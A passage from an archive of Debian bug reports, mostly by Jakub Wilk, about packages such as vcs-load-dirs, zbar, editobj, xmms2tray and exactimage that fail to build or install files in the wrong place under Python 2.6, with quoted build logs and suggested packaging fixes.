./usr/share/locale/cs/LC_MESSAGES/galternatives.mo drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/share/locale/sv/ drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/share/locale/sv/LC_MESSAGES/ -rw-r--r-- root/root 3952 2010-02-24 22:53 ./usr/share/locale/sv/LC_MESSAGES/galternatives.mo drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/share/pixmaps/ -rw-r--r-- root/root 7613 2004-06-15 00:04 ./usr/share/pixmaps/galternatives.xpm -rw-r--r-- root/root 4038 2004-06-15 00:04 ./usr/share/pixmaps/galternatives.png drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/share/applications/ -rw-r--r-- root/root 793 2010-02-24 22:53 ./usr/share/applications/galternatives.desktop drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/share/galternatives/ drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/share/galternatives/descriptions/ -rw-r--r-- root/root 213 2010-02-24 22:53 ./usr/share/galternatives/descriptions/x-terminal-emulator.control -rw-r--r-- root/root 43611 2004-06-15 00:04 ./usr/share/galternatives/galternatives.glade drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/share/menu/ -rw-r--r-- root/root 261 2005-08-18 03:11 ./usr/share/menu/galternatives drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/share/man/ drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/share/man/man1/ -rw-r--r-- root/root 292 2010-02-24 22:53 ./usr/share/man/man1/galternatives.1.gz drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/share/doc/ drwxr-xr-x root/root 0 2010-02-24 22:53 ./usr/share/doc/galternatives/ -rw-r--r-- root/root 2157 2006-08-27 10:13 ./usr/share/doc/galternatives/changelog.gz -rw-r--r-- root/root 356 2006-05-17 14:45 ./usr/share/doc/galternatives/copyright -rw-r--r-- root/root 472 2004-06-15 00:04 ./usr/share/doc/galternatives/TODO (Yes, this is *python2.3*!) -- Jakub Wilk signature.asc Description: Digital signature
Bug#571515: vcs-load-dirs: FTBFS with Python 2.6 as default
Source: vcs-load-dirs Version: 1.1.7 Severity: important User: debian-pyt...@lists.debian.org Usertags: python2.6 Hello, When rebuilt in an environment with Python 2.6 as the default version, your package failed to build from source. Here are the relevant parts of the build log: | python setup.py install --root=`pwd`/debian/tmp \ | --no-compile | running install | running build | running build_py | running build_scripts | running install_lib [...] | running install_scripts | creating /build/user-vcs-load-dirs_1.1.7-amd64-6EYwbG/vcs-load-dirs-1.1.7/debian/tmp/usr/local/bin | copying build/scripts-2.6/git_load_dirs - /build/user-vcs-load-dirs_1.1.7-amd64-6EYwbG/vcs-load-dirs-1.1.7/debian/tmp/usr/local/bin | copying build/scripts-2.6/svk_load_dirs - /build/user-vcs-load-dirs_1.1.7-amd64-6EYwbG/vcs-load-dirs-1.1.7/debian/tmp/usr/local/bin | copying build/scripts-2.6/baz_load_dirs - /build/user-vcs-load-dirs_1.1.7-amd64-6EYwbG/vcs-load-dirs-1.1.7/debian/tmp/usr/local/bin | copying build/scripts-2.6/darcs_load_dirs - /build/user-vcs-load-dirs_1.1.7-amd64-6EYwbG/vcs-load-dirs-1.1.7/debian/tmp/usr/local/bin | copying build/scripts-2.6/hg_load_dirs - /build/user-vcs-load-dirs_1.1.7-amd64-6EYwbG/vcs-load-dirs-1.1.7/debian/tmp/usr/local/bin | copying build/scripts-2.6/tla_load_dirs - /build/user-vcs-load-dirs_1.1.7-amd64-6EYwbG/vcs-load-dirs-1.1.7/debian/tmp/usr/local/bin | changing mode of /build/user-vcs-load-dirs_1.1.7-amd64-6EYwbG/vcs-load-dirs-1.1.7/debian/tmp/usr/local/bin/git_load_dirs to 755 | changing mode of /build/user-vcs-load-dirs_1.1.7-amd64-6EYwbG/vcs-load-dirs-1.1.7/debian/tmp/usr/local/bin/svk_load_dirs to 755 | changing mode of /build/user-vcs-load-dirs_1.1.7-amd64-6EYwbG/vcs-load-dirs-1.1.7/debian/tmp/usr/local/bin/baz_load_dirs to 755 | changing mode of /build/user-vcs-load-dirs_1.1.7-amd64-6EYwbG/vcs-load-dirs-1.1.7/debian/tmp/usr/local/bin/darcs_load_dirs to 755 | changing mode of /build/user-vcs-load-dirs_1.1.7-amd64-6EYwbG/vcs-load-dirs-1.1.7/debian/tmp/usr/local/bin/hg_load_dirs to 755 | changing mode of /build/user-vcs-load-dirs_1.1.7-amd64-6EYwbG/vcs-load-dirs-1.1.7/debian/tmp/usr/local/bin/tla_load_dirs to 755 [...] | dh_install -i | dh_install: Compatibility levels before 5 are deprecated. | cp: cannot stat `./debian/tmp/usr/bin/tla_load_dirs': No such file or directory | dh_install: cp -a ./debian/tmp/usr/bin/tla_load_dirs debian/tla-load-dirs/usr/bin/ returned exit code 1 If you need help with fixing this bug, don't hesitate to ask on #debian-python or debian-pyt...@lists.debian.org. -- Jakub Wilk signature.asc Description: Digital signature
Bug#571484: zbar: uses python2.6/site-packages with Python 2.6 as default
Source: zbar Version: 0.8+dfsg-3 Severity: important User: debian-pyt...@lists.debian.org Usertags: python2.6 Hello, When rebuilt in an environment with Python 2.6 as the default version, your binary package contained these files: /usr/lib/python2.6/site-packages/zbarpygtk.so /usr/lib/python2.6/site-packages/zbar.so /usr/lib/python2.6/site-packages/zbar.la /usr/lib/python2.6/site-packages/zbarpygtk.la Here are the relevant parts of the build log: | checking for a Python interpreter with version = 2.3.5... python | checking for python... /usr/bin/python | checking for python version... 2.6 | checking for python platform... linux2 | checking for python script directory... ${prefix}/lib/python2.6/site-packages | checking for python extension module directory... ${exec_prefix}/lib/python2.6/site-packages The correct location of Python modules for Python = 2.6 is /usr/lib/pythonX.Y/dist-packages. In fact, packages shipping files in /usr/lib/python2.6/site-packages will break installation of python2.6-minimal. If you need help with fixing this bug, don't hesitate to ask on #debian-python or debian-pyt...@lists.debian.org. -- Jakub Wilk signature.asc Description: Digital signature
Bug#571208: editobj: FTBFS with Python 2.6 as default
Source: editobj Version: 0.5.7-8 Severity: important User: debian-pyt...@lists.debian.org Usertags: python2.6 Hello, When rebuilt in an environment with Python 2.6 as the default version, your package failed to build from source. Here are the relevant parts of the build log: | cd . python setup.py install --root=/tmp/buildd/editobj-0.5.7/debian/python-editobj/ \ | --install-purelib=/usr/lib/python2.6/site-packages/ --prefix=/usr --no-compile -O0 | running install | running build | running build_py | running install_lib | creating /tmp/buildd/editobj-0.5.7/debian/python-editobj/usr/lib | creating /tmp/buildd/editobj-0.5.7/debian/python-editobj/usr/lib/python2.6 | creating /tmp/buildd/editobj-0.5.7/debian/python-editobj/usr/lib/python2.6/site-packages | creating /tmp/buildd/editobj-0.5.7/debian/python-editobj/usr/lib/python2.6/site-packages/editobj | copying build/lib.linux-x86_64-2.6/editobj/treewidget.py - /tmp/buildd/editobj-0.5.7/debian/python-editobj/usr/lib/python2.6/site-packages/editobj | copying build/lib.linux-x86_64-2.6/editobj/editor.py - /tmp/buildd/editobj-0.5.7/debian/python-editobj/usr/lib/python2.6/site-packages/editobj | copying build/lib.linux-x86_64-2.6/editobj/console.py - /tmp/buildd/editobj-0.5.7/debian/python-editobj/usr/lib/python2.6/site-packages/editobj | copying build/lib.linux-x86_64-2.6/editobj/custom.py - /tmp/buildd/editobj-0.5.7/debian/python-editobj/usr/lib/python2.6/site-packages/editobj | copying build/lib.linux-x86_64-2.6/editobj/__init__.py - /tmp/buildd/editobj-0.5.7/debian/python-editobj/usr/lib/python2.6/site-packages/editobj | copying build/lib.linux-x86_64-2.6/editobj/eventobj.py - /tmp/buildd/editobj-0.5.7/debian/python-editobj/usr/lib/python2.6/site-packages/editobj | copying build/lib.linux-x86_64-2.6/editobj/main.py - /tmp/buildd/editobj-0.5.7/debian/python-editobj/usr/lib/python2.6/site-packages/editobj | copying build/lib.linux-x86_64-2.6/editobj/observe.py - /tmp/buildd/editobj-0.5.7/debian/python-editobj/usr/lib/python2.6/site-packages/editobj | copying build/lib.linux-x86_64-2.6/editobj/cancel.py - /tmp/buildd/editobj-0.5.7/debian/python-editobj/usr/lib/python2.6/site-packages/editobj | running install_data | creating /tmp/buildd/editobj-0.5.7/debian/python-editobj/usr/lib/python2.6/dist-packages | creating /tmp/buildd/editobj-0.5.7/debian/python-editobj/usr/lib/python2.6/dist-packages/editobj | creating /tmp/buildd/editobj-0.5.7/debian/python-editobj/usr/lib/python2.6/dist-packages/editobj/icons | copying icons/python.pgm - /tmp/buildd/editobj-0.5.7/debian/python-editobj/usr/lib/python2.6/dist-packages/editobj/icons | copying icons/minus.pgm - /tmp/buildd/editobj-0.5.7/debian/python-editobj/usr/lib/python2.6/dist-packages/editobj/icons | copying icons/plus.pgm - /tmp/buildd/editobj-0.5.7/debian/python-editobj/usr/lib/python2.6/dist-packages/editobj/icons | copying icons/folder.pgm - /tmp/buildd/editobj-0.5.7/debian/python-editobj/usr/lib/python2.6/dist-packages/editobj/icons | copying icons/openfolder.pgm - /tmp/buildd/editobj-0.5.7/debian/python-editobj/usr/lib/python2.6/dist-packages/editobj/icons | running install_egg_info | Writing /tmp/buildd/editobj-0.5.7/debian/python-editobj/usr/lib/python2.6/site-packages/EditObj-0.5.7-py2.6.egg-info | mv debian/python-editobj/usr/lib/python*/site-packages/editobj/icons \ | debian/python-editobj/usr/share/python-editobj | mv: cannot stat `debian/python-editobj/usr/lib/python*/site-packages/editobj/icons': No such file or directory -- Jakub Wilk signature.asc Description: Digital signature
Bug#520975: exactimage: edisplay program is missing?
block 520975 with 536376 thanks * Miles Bader mi...@gnu.org, 2009-03-24, 11:24: The debian package description, TODO, website, etc., of exactimage suggest that it includes a display program called edisplay -- however there is no such program installed by the debian exactimage package, nor any obvious extra package containing it... Unfortunately, I cannot fix this bug in unstable because of bug #536376. However, I plan to upload exactimage with edisplay enabled to experimental. -- Jakub Wilk signature.asc Description: Digital signature
Bug#570089: exactimage: embedded copy of AGG
Source: exactimage Version: 0.7.4-3 Severity: important extactimage embeds (and uses) a private copy of the AGG library. It should use the system-wide library instead. -- Jakub Wilk signature.asc Description: Digital signature
Bug#570089: Processed: Re: Bug#377270: agg doesn't provide a shared library
unblock 570089 with 377270 thanks * Rene Engelhard r...@debian.org, 2010-02-16, 14:52: I don't see why it's blocked here. You can also use libagg-dev and not use the embedded code copy without agg having a shared library. agg hot having a shared library results back from the time I maintained it - and it#s because of the fact that AFAIR agg didn't change SONAME even when the ABI changed - boom :-) The PIC argument isn't one either, that#s exactly why libagg_pic is there: $ dpkg -L libagg-dev | grep a$ /usr/lib/libaggplatformX11.a /usr/lib/libagg.a /usr/lib/libagg_pic.a ^ Oh, right, somehow I missed that. Thanks for pointing that out! -- Jakub Wilk signature.asc Description: Digital signature
Bug#568671: exactimage: produces broken Python bindings with Python 2.6
Package: exactimage Version: 0.7.4-3 Severity: important User: debian-pyt...@lists.debian.org Usertags: python2.6 Despite depending on python-all-dev, Python bindings are built only for the current Python version. Worse still, these modules are always put into /usr/lib/python2.5, regardless of which version of Python is really used. -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#557959: xmms2tray: FTBFS with Python = 2.6
Source: xmms2tray Version: 0.5-1 Severity: important User: debian-pyt...@lists.debian.org Usertags: python2.6 usr-local ftbfs Hello, Starting from Python 2.6, the installation paths for distutils have changed. /usr/local is now used by default. When rebuilt against python-all{,-dev,-dbg} (and thus python2.6) from Debian experimental (and with python2.6 as the default one), your package failed to build from source. Here's relevant part of the build log: [...] python setup.py install --root=/tmp/buildd/xmms2tray-0.5/debian/xmms2tray [...] running install_data creating /tmp/buildd/xmms2tray-0.5/debian/xmms2tray/usr/local/share creating /tmp/buildd/xmms2tray-0.5/debian/xmms2tray/usr/local/share/doc creating /tmp/buildd/xmms2tray-0.5/debian/xmms2tray/usr/local/share/doc/xmms2tray copying README - /tmp/buildd/xmms2tray-0.5/debian/xmms2tray/usr/local/share/doc/xmms2tray copying COPYING - /tmp/buildd/xmms2tray-0.5/debian/xmms2tray/usr/local/share/doc/xmms2tray copying ChangeLog - /tmp/buildd/xmms2tray-0.5/debian/xmms2tray/usr/local/share/doc/xmms2tray creating /tmp/buildd/xmms2tray-0.5/debian/xmms2tray/usr/local/share/xmms2tray creating /tmp/buildd/xmms2tray-0.5/debian/xmms2tray/usr/local/share/xmms2tray/data copying data/xmms2_simple.png - /tmp/buildd/xmms2tray-0.5/debian/xmms2tray/usr/local/share/xmms2tray/data copying data/xmms2_glossy.png - /tmp/buildd/xmms2tray-0.5/debian/xmms2tray/usr/local/share/xmms2tray/data copying data/xmms2_glossy_24.png - /tmp/buildd/xmms2tray-0.5/debian/xmms2tray/usr/local/share/xmms2tray/data copying data/xmms2_simple_64.png - /tmp/buildd/xmms2tray-0.5/debian/xmms2tray/usr/local/share/xmms2tray/data copying data/xmms2_64.png - /tmp/buildd/xmms2tray-0.5/debian/xmms2tray/usr/local/share/xmms2tray/data copying data/xmms2_24.png - /tmp/buildd/xmms2tray-0.5/debian/xmms2tray/usr/local/share/xmms2tray/data creating /tmp/buildd/xmms2tray-0.5/debian/xmms2tray/usr/local/share/xmms2tray/data/po creating /tmp/buildd/xmms2tray-0.5/debian/xmms2tray/usr/local/share/xmms2tray/data/po/LC_MESSAGES creating /tmp/buildd/xmms2tray-0.5/debian/xmms2tray/usr/local/share/xmms2tray/data/po/LC_MESSAGES/xmms2tray.mo copying data/po/de/LC_MESSAGES/xmms2tray.mo - /tmp/buildd/xmms2tray-0.5/debian/xmms2tray/usr/local/share/xmms2tray/data/po/LC_MESSAGES/xmms2tray.mo running install_egg_info Writing /tmp/buildd/xmms2tray-0.5/debian/xmms2tray/usr/local/lib/python2.6/dist-packages/xmms2tray-0.5.egg-info rm /tmp/buildd/xmms2tray-0.5/debian/xmms2tray/usr/share/doc/xmms2tray/COPYING rm: cannot remove `/tmp/buildd/xmms2tray-0.5/debian/xmms2tray/usr/share/doc/xmms2tray/COPYING': No such file or directory make: *** [install] Error 1 How to fix it? == * try to pass --prefix=/usr to setup.py call, check if it's enough, * add --install-layout=deb to setup.py call and bump minimum required python{,-all,all-dev} build dependency to 2.5.4-1~, check if it's enough * ask for help on #debian-python or debian-pyt...@lists.debian.org -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org